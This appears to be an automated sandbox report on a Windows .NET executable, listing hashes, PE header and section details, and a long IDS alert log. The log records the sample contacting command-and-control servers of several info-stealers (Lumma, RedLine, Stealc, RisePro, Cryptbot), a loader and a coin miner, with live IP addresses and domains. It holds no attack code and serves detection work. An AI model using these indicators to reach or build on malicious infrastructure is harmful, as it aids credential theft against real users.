File name:	file.exe
File size:	12'713'984 bytes
MD5:	269a751b0c6d68cc39b2267c1592dae2
SHA1:	2ead3153069297c67bb33c7a83e63d2721aa9f4d
SHA256:	319d1dc217b7e83a85dd62cb2c066156ba5579087f11c991a99089606979ca28
SHA512:	d8da3bf11287c5168544c3d39460b428252dd1f60f7777a3770bc537f89def019078f46b9695a78338bc227e67c902494912d36dcd046e2a514bd0bd96107929
SSDEEP:	196608:K4V6se4m7QH0RD3noXrrj8dVtxqVjDdLMmGEMGHIr915DnjdZd:K4VtH0RD3oXryDxa5LBGlGHIrT5Tx/
TLSH:	B5D69E53B384CE1DD396E772216BD1B4AF20D5B5A703B35F1A5C0A76190B7BA8400FEA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....K................P.................. ... ....@.. .......................@............@................................

File Icon


Icon Hash:	636b49494c497933

Static PE Info

General

Entrypoint:	0x1001ace
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xB9F64B14 [Mon Nov 12 06:07:16 2068 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc01a80	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc02000	0x1ff38	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc22000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xc01a30	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xbffad4	0xbffc00	2d55c0c224d79942a0e6e78b2aea8ee0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc02000	0x1ff38	0x20000	d6b28b7d3ae7cf61c60a13cf7bc92863	False	0.5538864135742188	data	5.953687841860178	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc22000	0xc	0x200	6ad99ac4b816f90e1c04f9d6493b33f3	False	0.044921875	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "\300"	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xc021c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	0.5797872340425532
RT_ICON	0xc02628	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 3779 x 3779 px/m	0.3694496929617383
RT_ICON	0xc06850	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 3779 x 3779 px/m	0.3144889388382823
RT_ICON	0xc17078	0xa92f	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9932580637713283
RT_GROUP_ICON	0xc219a8	0x3e	data	0.8225806451612904
RT_VERSION	0xc219e8	0x364	data	0.45852534562211983
RT_MANIFEST	0xc21d4c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-11T16:22:08.391237+0200	2054709	ET MALWARE PrivateLoader CnC Activity (GET)	1	192.168.2.4	49730	212.113.116.202	80	TCP
2024-09-11T16:22:09.089121+0200	2054709	ET MALWARE PrivateLoader CnC Activity (GET)	1	192.168.2.4	49731	45.91.200.135	80	TCP
2024-09-11T16:22:09.739444+0200	2826930	ETPRO COINMINER XMR CoinMiner Usage	2	192.168.2.4	63389	95.179.241.203	443	TCP
2024-09-11T16:22:13.230779+0200	2054710	ET MALWARE PrivateLoader CnC Response	1	45.91.200.135	80	192.168.2.4	49731	TCP
2024-09-11T16:22:14.385948+0200	2054711	ET MALWARE PrivateLoader CnC Activity (POST)	1	192.168.2.4	49731	45.91.200.135	80	TCP
2024-09-11T16:22:15.533512+0200	2054711	ET MALWARE PrivateLoader CnC Activity (POST)	1	192.168.2.4	49731	45.91.200.135	80	TCP
2024-09-11T16:22:16.584098+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49737	31.41.244.9	80	TCP
2024-09-11T16:22:16.592133+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49738	176.113.115.187	80	TCP
2024-09-11T16:22:16.812055+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49736	176.113.115.33	80	TCP
2024-09-11T16:22:17.169078+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49734	147.45.44.104	80	TCP
2024-09-11T16:22:17.345103+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49746	76.76.21.61	443	TCP
2024-09-11T16:22:17.357253+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49735	147.45.44.104	80	TCP
2024-09-11T16:22:18.764235+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49734	147.45.44.104	80	TCP
2024-09-11T16:22:18.855099+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49753	37.153.95.99	443	TCP
2024-09-11T16:22:18.984022+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49754	37.153.95.99	443	TCP
2024-09-11T16:22:20.920411+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49755	37.153.95.99	443	TCP
2024-09-11T16:22:22.619728+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49735	147.45.44.104	80	TCP
2024-09-11T16:22:22.979755+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49735	147.45.44.104	80	TCP
2024-09-11T16:22:25.842317+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49734	147.45.44.104	80	TCP
2024-09-11T16:22:30.737584+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49734	147.45.44.104	80	TCP
2024-09-11T16:22:32.714917+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49734	147.45.44.104	80	TCP
2024-09-11T16:22:33.196971+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49734	147.45.44.104	80	TCP
2024-09-11T16:22:45.090332+0200	2054711	ET MALWARE PrivateLoader CnC Activity (POST)	1	192.168.2.4	63369	45.91.200.135	80	TCP
2024-09-11T16:22:49.730677+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:22:50.308881+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:22:50.506272+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	46.8.231.109	80	192.168.2.4	63372	TCP
2024-09-11T16:22:50.689419+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:22:50.947938+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	46.8.231.109	80	192.168.2.4	63372	TCP
2024-09-11T16:22:51.812432+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:22:52.119286+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:22:53.257455+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63374	5.75.214.132	443	TCP
2024-09-11T16:22:53.467168+0200	2046266	ET MALWARE [ANY.RUN] RisePro TCP (Token)	1	77.105.164.24	50505	192.168.2.4	63375	TCP
2024-09-11T16:22:54.133498+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:22:54.133498+0200	2046045	ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:22:54.313945+0200	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	1	45.91.202.63	25415	192.168.2.4	63376	TCP
2024-09-11T16:22:54.567159+0200	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	63377	194.87.248.136	80	TCP
2024-09-11T16:22:54.745798+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63379	5.75.214.132	443	TCP
2024-09-11T16:22:55.185506+0200	2049060	ET MALWARE RisePro TCP Heartbeat Packet	1	192.168.2.4	63375	77.105.164.24	50505	TCP
2024-09-11T16:22:56.817269+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63382	5.75.214.132	443	TCP
2024-09-11T16:22:57.581232+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:22:57.788488+0200	2055787	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (complainnykso .shop)	1	192.168.2.4	59764	1.1.1.1	53	UDP
2024-09-11T16:22:58.297534+0200	2055788	ET MALWARE Observed Lumma Stealer Related Domain (complainnykso .shop in TLS SNI)	1	192.168.2.4	63386	188.114.97.3	443	TCP
2024-09-11T16:22:58.325095+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63385	5.75.214.132	443	TCP
2024-09-11T16:22:58.697469+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:22:58.768950+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63386	188.114.97.3	443	TCP
2024-09-11T16:22:58.768950+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63386	188.114.97.3	443	TCP
2024-09-11T16:22:58.962600+0200	2055789	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (preachstrwnwjw .shop)	1	192.168.2.4	59826	1.1.1.1	53	UDP
2024-09-11T16:22:59.005699+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	5.75.214.132	443	192.168.2.4	63385	TCP
2024-09-11T16:22:59.180238+0200	2046269	ET MALWARE [ANY.RUN] RisePro TCP (Activity)	1	192.168.2.4	63375	77.105.164.24	50505	TCP
2024-09-11T16:22:59.371721+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:22:59.424319+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:22:59.518519+0200	2055790	ET MALWARE Observed Lumma Stealer Related Domain (preachstrwnwjw .shop in TLS SNI)	1	192.168.2.4	63387	188.114.96.3	443	TCP
2024-09-11T16:22:59.599839+0200	2036289	ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)	2	192.168.2.4	62334	1.1.1.1	53	UDP
2024-09-11T16:22:59.780181+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63388	5.75.214.132	443	TCP
2024-09-11T16:22:59.932253+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63387	188.114.96.3	443	TCP
2024-09-11T16:22:59.932253+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63387	188.114.96.3	443	TCP
2024-09-11T16:23:00.229345+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:23:00.450769+0200	2055788	ET MALWARE Observed Lumma Stealer Related Domain (complainnykso .shop in TLS SNI)	1	192.168.2.4	63391	188.114.97.3	443	TCP
2024-09-11T16:23:00.466554+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.4	63388	5.75.214.132	443	TCP
2024-09-11T16:23:00.467009+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	5.75.214.132	443	192.168.2.4	63388	TCP
2024-09-11T16:23:00.695461+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:00.700435+0200	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	1	45.91.202.63	25415	192.168.2.4	63376	TCP
2024-09-11T16:23:00.794102+0200	2055575	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (awwardwiqi .shop)	1	192.168.2.4	53867	1.1.1.1	53	UDP
2024-09-11T16:23:00.809637+0200	2055479	ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop)	1	192.168.2.4	62190	1.1.1.1	53	UDP
2024-09-11T16:23:00.839786+0200	2055483	ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop)	1	192.168.2.4	55706	1.1.1.1	53	UDP
2024-09-11T16:23:00.854547+0200	2055475	ET MALWARE Lumma Stealer Domain in DNS Lookup (condedqpwqm .shop)	1	192.168.2.4	62490	1.1.1.1	53	UDP
2024-09-11T16:23:00.915697+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63391	188.114.97.3	443	TCP
2024-09-11T16:23:00.915697+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63391	188.114.97.3	443	TCP
2024-09-11T16:23:00.926299+0200	2055477	ET MALWARE Lumma Stealer Domain in DNS Lookup (evoliutwoqm .shop)	1	192.168.2.4	58683	1.1.1.1	53	UDP
2024-09-11T16:23:00.974004+0200	2055785	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (basedsymsotp .shop)	1	192.168.2.4	63275	1.1.1.1	53	UDP
2024-09-11T16:23:00.979274+0200	2055480	ET MALWARE Lumma Stealer Domain in DNS Lookup (millyscroqwp .shop)	1	192.168.2.4	50194	1.1.1.1	53	UDP
2024-09-11T16:23:00.999328+0200	2055481	ET MALWARE Lumma Stealer Domain in DNS Lookup (stagedchheiqwo .shop)	1	192.168.2.4	56141	1.1.1.1	53	UDP
2024-09-11T16:23:01.012734+0200	2055482	ET MALWARE Lumma Stealer Domain in DNS Lookup (stamppreewntnq .shop)	1	192.168.2.4	63709	1.1.1.1	53	UDP
2024-09-11T16:23:01.076505+0200	2055474	ET MALWARE Lumma Stealer Domain in DNS Lookup (caffegclasiqwp .shop)	1	192.168.2.4	62472	1.1.1.1	53	UDP
2024-09-11T16:23:01.095545+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:01.290458+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:01.458457+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63392	5.75.214.132	443	TCP
2024-09-11T16:23:01.477896+0200	2055786	ET MALWARE Observed Lumma Stealer Related Domain (basedsymsotp .shop in TLS SNI)	1	192.168.2.4	63394	172.67.221.198	443	TCP
2024-09-11T16:23:01.711796+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:01.757575+0200	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	63377	194.87.248.136	80	TCP
2024-09-11T16:23:01.931265+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63394	172.67.221.198	443	TCP
2024-09-11T16:23:01.931265+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63394	172.67.221.198	443	TCP
2024-09-11T16:23:02.025472+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:02.099003+0200	2055783	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (charistmatwio .shop)	1	192.168.2.4	60217	1.1.1.1	53	UDP
2024-09-11T16:23:02.214896+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:23:02.505652+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63396	5.75.214.132	443	TCP
2024-09-11T16:23:02.505835+0200	2857974	ETPRO MALWARE Observed DNS Query to Lumma Domain	1	192.168.2.4	57551	1.1.1.1	53	UDP
2024-09-11T16:23:02.598468+0200	2055784	ET MALWARE Observed Lumma Stealer Related Domain (charistmatwio .shop in TLS SNI)	1	192.168.2.4	63397	188.114.97.3	443	TCP
2024-09-11T16:23:02.958869+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:23:03.059213+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63397	188.114.97.3	443	TCP
2024-09-11T16:23:03.059213+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63397	188.114.97.3	443	TCP
2024-09-11T16:23:03.095698+0200	2055779	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (grassemenwji .shop)	1	192.168.2.4	52938	1.1.1.1	53	UDP
2024-09-11T16:23:03.587456+0200	2055780	ET MALWARE Observed Lumma Stealer Related Domain (grassemenwji .shop in TLS SNI)	1	192.168.2.4	63398	188.114.96.3	443	TCP
2024-09-11T16:23:03.927735+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:04.051249+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63398	188.114.96.3	443	TCP
2024-09-11T16:23:04.051249+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63398	188.114.96.3	443	TCP
2024-09-11T16:23:04.123326+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:04.184982+0200	2055777	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (ignoracndwko .shop)	1	192.168.2.4	51792	1.1.1.1	53	UDP
2024-09-11T16:23:04.245102+0200	2055781	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (stitchmiscpaew .shop)	1	192.168.2.4	59882	1.1.1.1	53	UDP
2024-09-11T16:23:04.306557+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:04.490750+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:04.700858+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:04.757159+0200	2055782	ET MALWARE Observed Lumma Stealer Related Domain (stitchmiscpaew .shop in TLS SNI)	1	192.168.2.4	63400	104.21.26.150	443	TCP
2024-09-11T16:23:05.217144+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63400	104.21.26.150	443	TCP
2024-09-11T16:23:05.217144+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63400	104.21.26.150	443	TCP
2024-09-11T16:23:05.296741+0200	2055775	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (commisionipwn .shop)	1	192.168.2.4	56795	1.1.1.1	53	UDP
2024-09-11T16:23:05.653193+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63403	5.75.214.132	443	TCP
2024-09-11T16:23:05.781557+0200	2055776	ET MALWARE Observed Lumma Stealer Related Domain (commisionipwn .shop in TLS SNI)	1	192.168.2.4	63405	188.114.97.3	443	TCP
2024-09-11T16:23:06.235137+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63405	188.114.97.3	443	TCP
2024-09-11T16:23:06.235137+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63405	188.114.97.3	443	TCP
2024-09-11T16:23:06.643229+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63406	5.75.214.132	443	TCP
2024-09-11T16:23:07.078925+0200	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	63377	194.87.248.136	80	TCP
2024-09-11T16:23:07.681236+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	63409	37.153.95.99	443	TCP
2024-09-11T16:23:07.734794+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:07.829514+0200	2857974	ETPRO MALWARE Observed DNS Query to Lumma Domain	1	192.168.2.4	62160	1.1.1.1	53	UDP
2024-09-11T16:23:08.061843+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63410	5.75.214.132	443	TCP
2024-09-11T16:23:08.515614+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:08.719997+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:09.268737+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:09.308841+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63412	5.75.214.132	443	TCP
2024-09-11T16:23:10.351875+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63413	5.75.214.132	443	TCP
2024-09-11T16:23:12.125599+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63415	5.75.214.132	443	TCP
2024-09-11T16:23:13.877895+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63416	5.75.214.132	443	TCP
2024-09-11T16:23:14.466970+0200	2055784	ET MALWARE Observed Lumma Stealer Related Domain (charistmatwio .shop in TLS SNI)	1	192.168.2.4	63417	188.114.97.3	443	TCP
2024-09-11T16:23:14.974260+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63417	188.114.97.3	443	TCP
2024-09-11T16:23:14.974260+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63417	188.114.97.3	443	TCP
2024-09-11T16:23:15.585903+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63419	5.75.214.132	443	TCP
2024-09-11T16:23:15.699454+0200	2055790	ET MALWARE Observed Lumma Stealer Related Domain (preachstrwnwjw .shop in TLS SNI)	1	192.168.2.4	63420	188.114.96.3	443	TCP
2024-09-11T16:23:16.170757+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63420	188.114.96.3	443	TCP
2024-09-11T16:23:16.170757+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63420	188.114.96.3	443	TCP
2024-09-11T16:23:16.998427+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63421	5.75.214.132	443	TCP
2024-09-11T16:23:17.003504+0200	2055788	ET MALWARE Observed Lumma Stealer Related Domain (complainnykso .shop in TLS SNI)	1	192.168.2.4	63422	188.114.97.3	443	TCP
2024-09-11T16:23:17.503061+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63422	188.114.97.3	443	TCP
2024-09-11T16:23:17.503061+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63422	188.114.97.3	443	TCP
2024-09-11T16:23:18.155842+0200	2055786	ET MALWARE Observed Lumma Stealer Related Domain (basedsymsotp .shop in TLS SNI)	1	192.168.2.4	63424	172.67.221.198	443	TCP
2024-09-11T16:23:18.350374+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63423	5.75.214.132	443	TCP
2024-09-11T16:23:18.682685+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63424	172.67.221.198	443	TCP
2024-09-11T16:23:18.682685+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63424	172.67.221.198	443	TCP
2024-09-11T16:23:19.347677+0200	2055784	ET MALWARE Observed Lumma Stealer Related Domain (charistmatwio .shop in TLS SNI)	1	192.168.2.4	63425	188.114.97.3	443	TCP
2024-09-11T16:23:19.864830+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63425	188.114.97.3	443	TCP
2024-09-11T16:23:19.864830+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63425	188.114.97.3	443	TCP
2024-09-11T16:23:20.567676+0200	2055780	ET MALWARE Observed Lumma Stealer Related Domain (grassemenwji .shop in TLS SNI)	1	192.168.2.4	63426	188.114.96.3	443	TCP
